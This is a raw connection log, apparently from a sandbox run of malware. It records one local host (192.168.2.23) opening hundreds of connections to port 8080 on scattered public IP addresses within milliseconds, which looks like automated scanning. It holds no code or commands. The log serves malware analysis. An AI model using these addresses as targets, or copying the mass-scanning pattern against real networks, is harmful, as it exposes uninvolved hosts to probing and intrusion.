Dec 26, 2023 21:22:45.123565912 CET	45469	8080	192.168.2.23	31.201.79.137
Dec 26, 2023 21:22:45.123570919 CET	45469	8080	192.168.2.23	95.85.46.252
Dec 26, 2023 21:22:45.123573065 CET	45469	8080	192.168.2.23	31.153.19.86
Dec 26, 2023 21:22:45.123579979 CET	45469	8080	192.168.2.23	31.77.173.73
Dec 26, 2023 21:22:45.123584032 CET	45469	8080	192.168.2.23	95.56.59.15
Dec 26, 2023 21:22:45.123596907 CET	45469	8080	192.168.2.23	85.186.38.206
Dec 26, 2023 21:22:45.123600960 CET	45469	8080	192.168.2.23	94.96.115.110
Dec 26, 2023 21:22:45.123605013 CET	45469	8080	192.168.2.23	62.12.90.165
Dec 26, 2023 21:22:45.123617887 CET	45469	8080	192.168.2.23	94.161.148.150
Dec 26, 2023 21:22:45.123634100 CET	45469	8080	192.168.2.23	94.85.37.203
Dec 26, 2023 21:22:45.123648882 CET	45469	8080	192.168.2.23	62.105.29.4
Dec 26, 2023 21:22:45.123648882 CET	45469	8080	192.168.2.23	85.181.251.209
Dec 26, 2023 21:22:45.123656988 CET	45469	8080	192.168.2.23	31.79.68.131
Dec 26, 2023 21:22:45.123656988 CET	45469	8080	192.168.2.23	85.58.157.24
Dec 26, 2023 21:22:45.123677969 CET	45469	8080	192.168.2.23	31.177.22.10
Dec 26, 2023 21:22:45.123682976 CET	45469	8080	192.168.2.23	95.83.155.233
Dec 26, 2023 21:22:45.123682976 CET	45469	8080	192.168.2.23	85.234.7.156
Dec 26, 2023 21:22:45.123687029 CET	45469	8080	192.168.2.23	85.163.1.98
Dec 26, 2023 21:22:45.123688936 CET	45469	8080	192.168.2.23	95.122.128.185
Dec 26, 2023 21:22:45.123702049 CET	45469	8080	192.168.2.23	85.209.92.238
Dec 26, 2023 21:22:45.123717070 CET	45469	8080	192.168.2.23	95.86.91.231
Dec 26, 2023 21:22:45.123725891 CET	45469	8080	192.168.2.23	62.95.251.202
Dec 26, 2023 21:22:45.123738050 CET	45469	8080	192.168.2.23	62.31.16.37
Dec 26, 2023 21:22:45.123742104 CET	45469	8080	192.168.2.23	95.127.133.19
Dec 26, 2023 21:22:45.123752117 CET	45469	8080	192.168.2.23	94.243.191.137
Dec 26, 2023 21:22:45.123755932 CET	45469	8080	192.168.2.23	85.82.134.46
Dec 26, 2023 21:22:45.123756886 CET	45469	8080	192.168.2.23	85.181.177.38
Dec 26, 2023 21:22:45.123769045 CET	45469	8080	192.168.2.23	85.201.122.226
Dec 26, 2023 21:22:45.123791933 CET	45469	8080	192.168.2.23	62.229.44.19
Dec 26, 2023 21:22:45.123792887 CET	45469	8080	192.168.2.23	62.186.151.31
Dec 26, 2023 21:22:45.123802900 CET	45469	8080	192.168.2.23	85.110.75.23
Dec 26, 2023 21:22:45.123811007 CET	45469	8080	192.168.2.23	62.201.16.239
Dec 26, 2023 21:22:45.123819113 CET	45469	8080	192.168.2.23	85.66.211.227
Dec 26, 2023 21:22:45.123826027 CET	45469	8080	192.168.2.23	95.97.39.241
Dec 26, 2023 21:22:45.123833895 CET	45469	8080	192.168.2.23	94.204.247.219
Dec 26, 2023 21:22:45.123845100 CET	45469	8080	192.168.2.23	85.89.32.165
Dec 26, 2023 21:22:45.123861074 CET	45469	8080	192.168.2.23	85.200.91.185
Dec 26, 2023 21:22:45.123872042 CET	45469	8080	192.168.2.23	94.167.194.76
Dec 26, 2023 21:22:45.123883963 CET	45469	8080	192.168.2.23	94.219.133.173
Dec 26, 2023 21:22:45.123883963 CET	45469	8080	192.168.2.23	94.24.49.102
Dec 26, 2023 21:22:45.123897076 CET	45469	8080	192.168.2.23	94.81.24.244
Dec 26, 2023 21:22:45.123900890 CET	45469	8080	192.168.2.23	62.223.170.175
Dec 26, 2023 21:22:45.123904943 CET	45469	8080	192.168.2.23	62.241.130.241
Dec 26, 2023 21:22:45.123913050 CET	45469	8080	192.168.2.23	94.104.5.227
Dec 26, 2023 21:22:45.123929977 CET	45469	8080	192.168.2.23	31.116.46.249
Dec 26, 2023 21:22:45.123929977 CET	45469	8080	192.168.2.23	95.90.212.126
Dec 26, 2023 21:22:45.123948097 CET	45469	8080	192.168.2.23	95.219.249.227
Dec 26, 2023 21:22:45.123956919 CET	45469	8080	192.168.2.23	85.178.136.87
Dec 26, 2023 21:22:45.123958111 CET	45469	8080	192.168.2.23	95.229.36.221
Dec 26, 2023 21:22:45.123956919 CET	45469	8080	192.168.2.23	85.169.155.224
Dec 26, 2023 21:22:45.123975992 CET	45469	8080	192.168.2.23	95.101.25.22
Dec 26, 2023 21:22:45.123992920 CET	45469	8080	192.168.2.23	85.117.139.225
Dec 26, 2023 21:22:45.124000072 CET	45469	8080	192.168.2.23	85.123.240.76
Dec 26, 2023 21:22:45.124000072 CET	45469	8080	192.168.2.23	85.167.160.16
Dec 26, 2023 21:22:45.124002934 CET	45469	8080	192.168.2.23	62.215.28.247
Dec 26, 2023 21:22:45.124013901 CET	45469	8080	192.168.2.23	31.2.19.93
Dec 26, 2023 21:22:45.124022007 CET	45469	8080	192.168.2.23	94.170.120.182
Dec 26, 2023 21:22:45.124032974 CET	45469	8080	192.168.2.23	31.3.200.156
Dec 26, 2023 21:22:45.124041080 CET	45469	8080	192.168.2.23	62.52.185.221
Dec 26, 2023 21:22:45.124058008 CET	45469	8080	192.168.2.23	31.85.130.75
Dec 26, 2023 21:22:45.124061108 CET	45469	8080	192.168.2.23	85.171.39.180
Dec 26, 2023 21:22:45.124066114 CET	45469	8080	192.168.2.23	31.190.13.52
Dec 26, 2023 21:22:45.124075890 CET	45469	8080	192.168.2.23	94.71.58.181
Dec 26, 2023 21:22:45.124085903 CET	45469	8080	192.168.2.23	94.29.156.120
Dec 26, 2023 21:22:45.124102116 CET	45469	8080	192.168.2.23	94.34.76.95
Dec 26, 2023 21:22:45.124105930 CET	45469	8080	192.168.2.23	94.31.239.18
Dec 26, 2023 21:22:45.124113083 CET	45469	8080	192.168.2.23	31.18.21.121
Dec 26, 2023 21:22:45.124114037 CET	45469	8080	192.168.2.23	85.189.192.129
Dec 26, 2023 21:22:45.124133110 CET	45469	8080	192.168.2.23	31.207.225.52
Dec 26, 2023 21:22:45.124145031 CET	45469	8080	192.168.2.23	31.255.6.198
Dec 26, 2023 21:22:45.124150038 CET	45469	8080	192.168.2.23	62.62.151.142
Dec 26, 2023 21:22:45.124162912 CET	45469	8080	192.168.2.23	95.76.233.55
Dec 26, 2023 21:22:45.124174118 CET	45469	8080	192.168.2.23	62.0.135.67
Dec 26, 2023 21:22:45.124178886 CET	45469	8080	192.168.2.23	31.76.209.76
Dec 26, 2023 21:22:45.124181986 CET	45469	8080	192.168.2.23	94.175.234.158
Dec 26, 2023 21:22:45.124181986 CET	45469	8080	192.168.2.23	95.84.54.167
Dec 26, 2023 21:22:45.124185085 CET	45469	8080	192.168.2.23	31.199.253.190
Dec 26, 2023 21:22:45.124191999 CET	45469	8080	192.168.2.23	95.169.47.155
Dec 26, 2023 21:22:45.124193907 CET	45469	8080	192.168.2.23	31.30.100.234
Dec 26, 2023 21:22:45.124202967 CET	45469	8080	192.168.2.23	85.148.211.47
Dec 26, 2023 21:22:45.124222040 CET	45469	8080	192.168.2.23	62.178.123.178
Dec 26, 2023 21:22:45.124222040 CET	45469	8080	192.168.2.23	95.62.64.176
Dec 26, 2023 21:22:45.124228001 CET	45469	8080	192.168.2.23	95.24.73.48
Dec 26, 2023 21:22:45.124243975 CET	45469	8080	192.168.2.23	94.56.37.82
Dec 26, 2023 21:22:45.124254942 CET	45469	8080	192.168.2.23	85.244.41.236
Dec 26, 2023 21:22:45.124268055 CET	45469	8080	192.168.2.23	85.97.165.173
Dec 26, 2023 21:22:45.124284983 CET	45469	8080	192.168.2.23	31.231.116.174
Dec 26, 2023 21:22:45.124288082 CET	45469	8080	192.168.2.23	85.132.13.158
Dec 26, 2023 21:22:45.124291897 CET	45469	8080	192.168.2.23	31.172.233.211
Dec 26, 2023 21:22:45.124300957 CET	45469	8080	192.168.2.23	94.176.210.121
Dec 26, 2023 21:22:45.124300957 CET	45469	8080	192.168.2.23	62.27.172.33
Dec 26, 2023 21:22:45.124316931 CET	45469	8080	192.168.2.23	95.206.121.32
Dec 26, 2023 21:22:45.124332905 CET	45469	8080	192.168.2.23	31.161.144.166
Dec 26, 2023 21:22:45.124341965 CET	45469	8080	192.168.2.23	95.80.172.142
Dec 26, 2023 21:22:45.124357939 CET	45469	8080	192.168.2.23	94.234.236.102
Dec 26, 2023 21:22:45.124368906 CET	45469	8080	192.168.2.23	85.186.133.171
Dec 26, 2023 21:22:45.124377012 CET	45469	8080	192.168.2.23	94.226.76.76
Dec 26, 2023 21:22:45.124397039 CET	45469	8080	192.168.2.23	31.9.6.148
Dec 26, 2023 21:22:45.124397039 CET	45469	8080	192.168.2.23	62.170.170.124
Dec 26, 2023 21:22:45.124413967 CET	45469	8080	192.168.2.23	95.218.143.83
Dec 26, 2023 21:22:45.124418020 CET	45469	8080	192.168.2.23	31.78.142.237
Dec 26, 2023 21:22:45.124420881 CET	45469	8080	192.168.2.23	31.38.157.60
Dec 26, 2023 21:22:45.124443054 CET	45469	8080	192.168.2.23	31.36.33.176
Dec 26, 2023 21:22:45.124453068 CET	45469	8080	192.168.2.23	95.249.124.135
Dec 26, 2023 21:22:45.124453068 CET	45469	8080	192.168.2.23	95.48.72.8
Dec 26, 2023 21:22:45.124453068 CET	45469	8080	192.168.2.23	95.71.12.165
Dec 26, 2023 21:22:45.124459028 CET	45469	8080	192.168.2.23	95.74.165.97
Dec 26, 2023 21:22:45.124459028 CET	45469	8080	192.168.2.23	62.40.79.20
Dec 26, 2023 21:22:45.124468088 CET	45469	8080	192.168.2.23	62.73.126.68
Dec 26, 2023 21:22:45.124478102 CET	45469	8080	192.168.2.23	62.7.24.3
Dec 26, 2023 21:22:45.124495983 CET	45469	8080	192.168.2.23	94.68.237.154
Dec 26, 2023 21:22:45.124501944 CET	45469	8080	192.168.2.23	62.77.7.110
Dec 26, 2023 21:22:45.124501944 CET	45469	8080	192.168.2.23	85.122.228.232
Dec 26, 2023 21:22:45.124511957 CET	45469	8080	192.168.2.23	62.197.88.170
Dec 26, 2023 21:22:45.124514103 CET	45469	8080	192.168.2.23	85.151.45.134
Dec 26, 2023 21:22:45.124521971 CET	45469	8080	192.168.2.23	94.118.40.181
Dec 26, 2023 21:22:45.124531984 CET	45469	8080	192.168.2.23	94.157.50.45
Dec 26, 2023 21:22:45.124545097 CET	45469	8080	192.168.2.23	85.99.20.8
Dec 26, 2023 21:22:45.124545097 CET	45469	8080	192.168.2.23	85.210.235.153
Dec 26, 2023 21:22:45.124562025 CET	45469	8080	192.168.2.23	85.150.201.112
Dec 26, 2023 21:22:45.124567986 CET	45469	8080	192.168.2.23	62.95.149.102
Dec 26, 2023 21:22:45.124573946 CET	45469	8080	192.168.2.23	95.10.250.14
Dec 26, 2023 21:22:45.124583960 CET	45469	8080	192.168.2.23	31.78.75.35
Dec 26, 2023 21:22:45.124592066 CET	45469	8080	192.168.2.23	85.172.19.33
Dec 26, 2023 21:22:45.124593973 CET	45469	8080	192.168.2.23	62.250.51.4
Dec 26, 2023 21:22:45.124599934 CET	45469	8080	192.168.2.23	94.121.15.118
Dec 26, 2023 21:22:45.124599934 CET	45469	8080	192.168.2.23	95.19.28.89
Dec 26, 2023 21:22:45.124612093 CET	45469	8080	192.168.2.23	85.113.95.63
Dec 26, 2023 21:22:45.124612093 CET	45469	8080	192.168.2.23	31.179.241.126
Dec 26, 2023 21:22:45.124631882 CET	45469	8080	192.168.2.23	85.123.34.22
Dec 26, 2023 21:22:45.124634981 CET	45469	8080	192.168.2.23	31.222.245.111
Dec 26, 2023 21:22:45.124645948 CET	45469	8080	192.168.2.23	62.3.222.22
Dec 26, 2023 21:22:45.124654055 CET	45469	8080	192.168.2.23	85.254.168.56
Dec 26, 2023 21:22:45.124669075 CET	45469	8080	192.168.2.23	94.107.246.203
Dec 26, 2023 21:22:45.124669075 CET	45469	8080	192.168.2.23	85.233.50.2
Dec 26, 2023 21:22:45.124677896 CET	45469	8080	192.168.2.23	95.214.247.227
Dec 26, 2023 21:22:45.124689102 CET	45469	8080	192.168.2.23	95.133.175.8
Dec 26, 2023 21:22:45.124696016 CET	45469	8080	192.168.2.23	85.68.226.205
Dec 26, 2023 21:22:45.124701977 CET	45469	8080	192.168.2.23	95.160.52.213
Dec 26, 2023 21:22:45.124703884 CET	45469	8080	192.168.2.23	62.193.128.104
Dec 26, 2023 21:22:45.124711990 CET	45469	8080	192.168.2.23	94.232.7.209
Dec 26, 2023 21:22:45.124716997 CET	45469	8080	192.168.2.23	62.135.114.183
Dec 26, 2023 21:22:45.124727011 CET	45469	8080	192.168.2.23	94.16.118.183
Dec 26, 2023 21:22:45.124727964 CET	45469	8080	192.168.2.23	85.10.10.112
Dec 26, 2023 21:22:45.124743938 CET	45469	8080	192.168.2.23	62.75.109.217
Dec 26, 2023 21:22:45.124763012 CET	45469	8080	192.168.2.23	62.82.70.103
Dec 26, 2023 21:22:45.124763012 CET	45469	8080	192.168.2.23	85.130.81.194
Dec 26, 2023 21:22:45.124767065 CET	45469	8080	192.168.2.23	62.11.158.32
Dec 26, 2023 21:22:45.124778986 CET	45469	8080	192.168.2.23	31.54.18.16
Dec 26, 2023 21:22:45.124794006 CET	45469	8080	192.168.2.23	94.59.64.187
Dec 26, 2023 21:22:45.124799013 CET	45469	8080	192.168.2.23	62.80.48.95
Dec 26, 2023 21:22:45.124804974 CET	45469	8080	192.168.2.23	85.244.248.21
Dec 26, 2023 21:22:45.124808073 CET	45469	8080	192.168.2.23	95.157.57.154
Dec 26, 2023 21:22:45.124814034 CET	45469	8080	192.168.2.23	94.169.130.44
Dec 26, 2023 21:22:45.124819994 CET	45469	8080	192.168.2.23	94.131.88.184
Dec 26, 2023 21:22:45.124835968 CET	45469	8080	192.168.2.23	94.31.168.247
Dec 26, 2023 21:22:45.124845028 CET	45469	8080	192.168.2.23	95.247.228.198
Dec 26, 2023 21:22:45.124845028 CET	45469	8080	192.168.2.23	31.147.204.48
Dec 26, 2023 21:22:45.124846935 CET	45469	8080	192.168.2.23	95.123.92.125
Dec 26, 2023 21:22:45.124850035 CET	45469	8080	192.168.2.23	94.87.166.116
Dec 26, 2023 21:22:45.124860048 CET	45469	8080	192.168.2.23	94.160.106.20
Dec 26, 2023 21:22:45.124860048 CET	45469	8080	192.168.2.23	94.247.163.232
Dec 26, 2023 21:22:45.124875069 CET	45469	8080	192.168.2.23	62.4.120.212
Dec 26, 2023 21:22:45.124890089 CET	45469	8080	192.168.2.23	62.136.192.114
Dec 26, 2023 21:22:45.124896049 CET	45469	8080	192.168.2.23	31.221.244.90
Dec 26, 2023 21:22:45.124914885 CET	45469	8080	192.168.2.23	95.166.170.207
Dec 26, 2023 21:22:45.124923944 CET	45469	8080	192.168.2.23	94.167.243.71
Dec 26, 2023 21:22:45.124926090 CET	45469	8080	192.168.2.23	85.145.62.176
Dec 26, 2023 21:22:45.124931097 CET	45469	8080	192.168.2.23	95.224.171.183
Dec 26, 2023 21:22:45.124933958 CET	45469	8080	192.168.2.23	94.52.8.47
Dec 26, 2023 21:22:45.124948978 CET	45469	8080	192.168.2.23	95.249.160.228
Dec 26, 2023 21:22:45.124963999 CET	45469	8080	192.168.2.23	62.12.240.148
Dec 26, 2023 21:22:45.124972105 CET	45469	8080	192.168.2.23	94.133.18.87
Dec 26, 2023 21:22:45.124984026 CET	45469	8080	192.168.2.23	95.40.99.86
Dec 26, 2023 21:22:45.124995947 CET	45469	8080	192.168.2.23	94.214.114.8
Dec 26, 2023 21:22:45.124995947 CET	45469	8080	192.168.2.23	62.199.125.224
Dec 26, 2023 21:22:45.125001907 CET	45469	8080	192.168.2.23	62.250.169.42
Dec 26, 2023 21:22:45.125005960 CET	45469	8080	192.168.2.23	85.149.199.114
Dec 26, 2023 21:22:45.125015020 CET	45469	8080	192.168.2.23	94.218.34.7
Dec 26, 2023 21:22:45.125031948 CET	45469	8080	192.168.2.23	62.240.231.126
Dec 26, 2023 21:22:45.125041008 CET	45469	8080	192.168.2.23	62.74.117.129
Dec 26, 2023 21:22:45.125050068 CET	45469	8080	192.168.2.23	95.248.136.231
Dec 26, 2023 21:22:45.125056028 CET	45469	8080	192.168.2.23	94.245.221.59
Dec 26, 2023 21:22:45.125061035 CET	45469	8080	192.168.2.23	95.162.124.163
Dec 26, 2023 21:22:45.125065088 CET	45469	8080	192.168.2.23	31.43.45.110
Dec 26, 2023 21:22:45.125068903 CET	45469	8080	192.168.2.23	94.133.15.205
Dec 26, 2023 21:22:45.125071049 CET	45469	8080	192.168.2.23	62.23.238.28
Dec 26, 2023 21:22:45.125082016 CET	45469	8080	192.168.2.23	62.147.66.179
Dec 26, 2023 21:22:45.125096083 CET	45469	8080	192.168.2.23	85.76.41.64
Dec 26, 2023 21:22:45.125098944 CET	45469	8080	192.168.2.23	94.163.45.101
Dec 26, 2023 21:22:45.125102997 CET	45469	8080	192.168.2.23	62.164.44.211
Dec 26, 2023 21:22:45.125117064 CET	45469	8080	192.168.2.23	31.48.63.244
Dec 26, 2023 21:22:45.125122070 CET	45469	8080	192.168.2.23	85.52.99.61
Dec 26, 2023 21:22:45.125124931 CET	45469	8080	192.168.2.23	85.185.11.114
Dec 26, 2023 21:22:45.125133038 CET	45469	8080	192.168.2.23	94.165.65.90
Dec 26, 2023 21:22:45.125134945 CET	45469	8080	192.168.2.23	62.201.106.255
Dec 26, 2023 21:22:45.125138044 CET	45469	8080	192.168.2.23	85.165.170.132
Dec 26, 2023 21:22:45.125138044 CET	45469	8080	192.168.2.23	85.198.116.171
Dec 26, 2023 21:22:45.125144005 CET	45469	8080	192.168.2.23	95.38.221.2
Dec 26, 2023 21:22:45.125144005 CET	45469	8080	192.168.2.23	31.159.124.222
Dec 26, 2023 21:22:45.125157118 CET	45469	8080	192.168.2.23	62.223.111.213
Dec 26, 2023 21:22:45.125159979 CET	45469	8080	192.168.2.23	94.177.250.248
Dec 26, 2023 21:22:45.125163078 CET	45469	8080	192.168.2.23	95.18.146.17
Dec 26, 2023 21:22:45.125166893 CET	45469	8080	192.168.2.23	31.199.206.38
Dec 26, 2023 21:22:45.125175953 CET	45469	8080	192.168.2.23	62.127.224.146
Dec 26, 2023 21:22:45.125178099 CET	45469	8080	192.168.2.23	94.47.169.141
Dec 26, 2023 21:22:45.125183105 CET	45469	8080	192.168.2.23	62.91.250.199
Dec 26, 2023 21:22:45.125205040 CET	45469	8080	192.168.2.23	85.140.110.138
Dec 26, 2023 21:22:45.125209093 CET	45469	8080	192.168.2.23	62.186.80.126
Dec 26, 2023 21:22:45.125221968 CET	45469	8080	192.168.2.23	95.243.209.19
Dec 26, 2023 21:22:45.125221968 CET	45469	8080	192.168.2.23	94.146.233.140
Dec 26, 2023 21:22:45.125232935 CET	45469	8080	192.168.2.23	95.119.218.217
Dec 26, 2023 21:22:45.125236034 CET	45469	8080	192.168.2.23	62.235.97.214
Dec 26, 2023 21:22:45.125241041 CET	45469	8080	192.168.2.23	31.158.87.240
Dec 26, 2023 21:22:45.125262022 CET	45469	8080	192.168.2.23	94.229.171.204
Dec 26, 2023 21:22:45.125262022 CET	45469	8080	192.168.2.23	85.220.101.120
Dec 26, 2023 21:22:45.125263929 CET	45469	8080	192.168.2.23	85.83.24.131
Dec 26, 2023 21:22:45.125274897 CET	45469	8080	192.168.2.23	62.158.211.19
Dec 26, 2023 21:22:45.125286102 CET	45469	8080	192.168.2.23	94.52.0.177
Dec 26, 2023 21:22:45.125294924 CET	45469	8080	192.168.2.23	94.164.178.181
Dec 26, 2023 21:22:45.125302076 CET	45469	8080	192.168.2.23	94.123.207.102
Dec 26, 2023 21:22:45.125309944 CET	45469	8080	192.168.2.23	95.97.223.167
Dec 26, 2023 21:22:45.125325918 CET	45469	8080	192.168.2.23	62.63.61.27
Dec 26, 2023 21:22:45.125328064 CET	45469	8080	192.168.2.23	85.195.204.165
Dec 26, 2023 21:22:45.125334978 CET	45469	8080	192.168.2.23	94.131.34.74
Dec 26, 2023 21:22:45.125344038 CET	45469	8080	192.168.2.23	94.252.35.69
Dec 26, 2023 21:22:45.125353098 CET	45469	8080	192.168.2.23	85.202.123.203
Dec 26, 2023 21:22:45.125359058 CET	45469	8080	192.168.2.23	62.220.101.248
Dec 26, 2023 21:22:45.125360966 CET	45469	8080	192.168.2.23	85.226.173.27
Dec 26, 2023 21:22:45.125364065 CET	45469	8080	192.168.2.23	31.228.82.147
Dec 26, 2023 21:22:45.125375986 CET	45469	8080	192.168.2.23	85.224.80.168
Dec 26, 2023 21:22:45.125394106 CET	45469	8080	192.168.2.23	95.251.71.65
Dec 26, 2023 21:22:45.125403881 CET	45469	8080	192.168.2.23	94.205.190.210
Dec 26, 2023 21:22:45.125407934 CET	45469	8080	192.168.2.23	85.191.148.36
Dec 26, 2023 21:22:45.125418901 CET	45469	8080	192.168.2.23	62.127.253.86
Dec 26, 2023 21:22:45.125432014 CET	45469	8080	192.168.2.23	62.153.5.158
Dec 26, 2023 21:22:45.125439882 CET	45469	8080	192.168.2.23	94.156.111.5
Dec 26, 2023 21:22:45.125442028 CET	45469	8080	192.168.2.23	85.38.239.244
Dec 26, 2023 21:22:45.125452995 CET	45469	8080	192.168.2.23	94.211.129.118
Dec 26, 2023 21:22:45.125463009 CET	45469	8080	192.168.2.23	95.57.3.175
Dec 26, 2023 21:22:45.125478029 CET	45469	8080	192.168.2.23	31.205.23.122
Dec 26, 2023 21:22:45.125480890 CET	45469	8080	192.168.2.23	95.146.64.47
Dec 26, 2023 21:22:45.125483036 CET	45469	8080	192.168.2.23	62.24.49.204
Dec 26, 2023 21:22:45.125492096 CET	45469	8080	192.168.2.23	95.1.136.185
Dec 26, 2023 21:22:45.125511885 CET	45469	8080	192.168.2.23	94.147.223.223
Dec 26, 2023 21:22:45.125518084 CET	45469	8080	192.168.2.23	95.233.62.243
Dec 26, 2023 21:22:45.125519991 CET	45469	8080	192.168.2.23	85.135.140.115
Dec 26, 2023 21:22:45.125525951 CET	45469	8080	192.168.2.23	94.246.200.210
Dec 26, 2023 21:22:45.125525951 CET	45469	8080	192.168.2.23	62.75.223.196
Dec 26, 2023 21:22:45.125538111 CET	45469	8080	192.168.2.23	31.77.165.127
Dec 26, 2023 21:22:45.125555992 CET	45469	8080	192.168.2.23	95.77.253.233
Dec 26, 2023 21:22:45.125555992 CET	45469	8080	192.168.2.23	31.141.242.44
Dec 26, 2023 21:22:45.125566006 CET	45469	8080	192.168.2.23	94.10.114.79
Dec 26, 2023 21:22:45.125566006 CET	45469	8080	192.168.2.23	85.72.45.50
Dec 26, 2023 21:22:45.125566959 CET	45469	8080	192.168.2.23	95.127.119.163
Dec 26, 2023 21:22:45.125566959 CET	45469	8080	192.168.2.23	95.26.167.218
Dec 26, 2023 21:22:45.125574112 CET	45469	8080	192.168.2.23	31.194.239.107
Dec 26, 2023 21:22:45.125576973 CET	45469	8080	192.168.2.23	95.102.111.41
Dec 26, 2023 21:22:45.125591993 CET	45469	8080	192.168.2.23	85.166.115.223
Dec 26, 2023 21:22:45.125606060 CET	45469	8080	192.168.2.23	31.66.188.35
Dec 26, 2023 21:22:45.125611067 CET	45469	8080	192.168.2.23	31.8.212.254
Dec 26, 2023 21:22:45.125612020 CET	45469	8080	192.168.2.23	94.158.113.128
Dec 26, 2023 21:22:45.125626087 CET	45469	8080	192.168.2.23	94.115.107.211
Dec 26, 2023 21:22:45.125642061 CET	45469	8080	192.168.2.23	31.158.93.0
Dec 26, 2023 21:22:45.125648022 CET	45469	8080	192.168.2.23	85.182.39.115
Dec 26, 2023 21:22:45.125664949 CET	45469	8080	192.168.2.23	95.172.27.120
Dec 26, 2023 21:22:45.125679970 CET	45469	8080	192.168.2.23	94.98.204.61
Dec 26, 2023 21:22:45.125679970 CET	45469	8080	192.168.2.23	31.160.64.102
Dec 26, 2023 21:22:45.125680923 CET	45469	8080	192.168.2.23	62.191.96.205
Dec 26, 2023 21:22:45.125680923 CET	45469	8080	192.168.2.23	62.74.61.13
Dec 26, 2023 21:22:45.125688076 CET	45469	8080	192.168.2.23	62.85.250.215
Dec 26, 2023 21:22:45.125694990 CET	45469	8080	192.168.2.23	85.232.154.164
Dec 26, 2023 21:22:45.125695944 CET	45469	8080	192.168.2.23	94.75.74.247
Dec 26, 2023 21:22:45.125695944 CET	45469	8080	192.168.2.23	95.198.44.46
Dec 26, 2023 21:22:45.125703096 CET	45469	8080	192.168.2.23	31.168.158.87
Dec 26, 2023 21:22:45.125703096 CET	45469	8080	192.168.2.23	62.208.114.81
Dec 26, 2023 21:22:45.125703096 CET	45469	8080	192.168.2.23	62.64.96.66
Dec 26, 2023 21:22:45.125706911 CET	45469	8080	192.168.2.23	62.72.248.163
Dec 26, 2023 21:22:45.125715017 CET	45469	8080	192.168.2.23	95.242.226.191
Dec 26, 2023 21:22:45.125729084 CET	45469	8080	192.168.2.23	94.28.190.249
Dec 26, 2023 21:22:45.125736952 CET	45469	8080	192.168.2.23	95.99.235.161
Dec 26, 2023 21:22:45.125750065 CET	45469	8080	192.168.2.23	31.104.32.56
Dec 26, 2023 21:22:45.125751019 CET	45469	8080	192.168.2.23	85.200.226.156
Dec 26, 2023 21:22:45.125766993 CET	45469	8080	192.168.2.23	94.121.39.45
Dec 26, 2023 21:22:45.125775099 CET	45469	8080	192.168.2.23	62.218.125.191
Dec 26, 2023 21:22:45.125790119 CET	45469	8080	192.168.2.23	94.205.208.105
Dec 26, 2023 21:22:45.125799894 CET	45469	8080	192.168.2.23	95.251.146.178
Dec 26, 2023 21:22:45.125816107 CET	45469	8080	192.168.2.23	62.156.253.69
Dec 26, 2023 21:22:45.125816107 CET	45469	8080	192.168.2.23	62.227.110.232
Dec 26, 2023 21:22:45.125828028 CET	45469	8080	192.168.2.23	31.57.233.138
Dec 26, 2023 21:22:45.125843048 CET	45469	8080	192.168.2.23	95.108.28.194
Dec 26, 2023 21:22:45.125848055 CET	45469	8080	192.168.2.23	95.219.74.199
Dec 26, 2023 21:22:45.125850916 CET	45469	8080	192.168.2.23	31.189.194.1
Dec 26, 2023 21:22:45.125859976 CET	45469	8080	192.168.2.23	62.203.246.243
Dec 26, 2023 21:22:45.125876904 CET	45469	8080	192.168.2.23	95.229.1.29
Dec 26, 2023 21:22:45.125880957 CET	45469	8080	192.168.2.23	95.160.229.136
Dec 26, 2023 21:22:45.125901937 CET	45469	8080	192.168.2.23	85.79.156.225
Dec 26, 2023 21:22:45.125901937 CET	45469	8080	192.168.2.23	95.4.16.179
Dec 26, 2023 21:22:45.125916004 CET	45469	8080	192.168.2.23	94.116.23.166
Dec 26, 2023 21:22:45.125930071 CET	45469	8080	192.168.2.23	85.250.219.26
Dec 26, 2023 21:22:45.125945091 CET	45469	8080	192.168.2.23	62.148.93.21
Dec 26, 2023 21:22:45.125945091 CET	45469	8080	192.168.2.23	31.134.239.81
Dec 26, 2023 21:22:45.125952959 CET	45469	8080	192.168.2.23	31.179.204.229
Dec 26, 2023 21:22:45.125971079 CET	45469	8080	192.168.2.23	31.182.9.24
Dec 26, 2023 21:22:45.125976086 CET	45469	8080	192.168.2.23	31.221.71.244
Dec 26, 2023 21:22:45.125978947 CET	45469	8080	192.168.2.23	85.21.236.169
Dec 26, 2023 21:22:45.125983000 CET	45469	8080	192.168.2.23	62.49.94.134
Dec 26, 2023 21:22:45.125984907 CET	45469	8080	192.168.2.23	85.98.221.161
Dec 26, 2023 21:22:45.125994921 CET	45469	8080	192.168.2.23	94.169.158.69
Dec 26, 2023 21:22:45.126008987 CET	45469	8080	192.168.2.23	85.199.175.211
Dec 26, 2023 21:22:45.126018047 CET	45469	8080	192.168.2.23	31.96.97.135
Dec 26, 2023 21:22:45.126020908 CET	45469	8080	192.168.2.23	95.120.164.217
Dec 26, 2023 21:22:45.126032114 CET	45469	8080	192.168.2.23	31.16.184.90
Dec 26, 2023 21:22:45.126049042 CET	45469	8080	192.168.2.23	62.16.207.3
Dec 26, 2023 21:22:45.126056910 CET	45469	8080	192.168.2.23	95.68.91.199
Dec 26, 2023 21:22:45.126070023 CET	45469	8080	192.168.2.23	94.95.149.207
Dec 26, 2023 21:22:45.126074076 CET	45469	8080	192.168.2.23	95.187.0.137
Dec 26, 2023 21:22:45.126085997 CET	45469	8080	192.168.2.23	62.25.52.34
Dec 26, 2023 21:22:45.126087904 CET	45469	8080	192.168.2.23	62.189.79.3
Dec 26, 2023 21:22:45.126102924 CET	45469	8080	192.168.2.23	85.86.139.48
Dec 26, 2023 21:22:45.126108885 CET	45469	8080	192.168.2.23	94.12.212.89
Dec 26, 2023 21:22:45.126117945 CET	45469	8080	192.168.2.23	31.168.248.140
Dec 26, 2023 21:22:45.126132011 CET	45469	8080	192.168.2.23	85.236.81.58
Dec 26, 2023 21:22:45.126133919 CET	45469	8080	192.168.2.23	94.243.104.109
Dec 26, 2023 21:22:45.126152039 CET	45469	8080	192.168.2.23	95.39.220.129
Dec 26, 2023 21:22:45.126154900 CET	45469	8080	192.168.2.23	95.63.206.166
Dec 26, 2023 21:22:45.126154900 CET	45469	8080	192.168.2.23	95.201.154.89
Dec 26, 2023 21:22:45.126164913 CET	45469	8080	192.168.2.23	95.229.135.119
Dec 26, 2023 21:22:45.126168013 CET	45469	8080	192.168.2.23	85.55.90.1
Dec 26, 2023 21:22:45.126173973 CET	45469	8080	192.168.2.23	94.159.237.51
Dec 26, 2023 21:22:45.126177073 CET	45469	8080	192.168.2.23	94.1.58.237
Dec 26, 2023 21:22:45.126185894 CET	45469	8080	192.168.2.23	94.208.132.168
Dec 26, 2023 21:22:45.126205921 CET	45469	8080	192.168.2.23	85.126.163.198
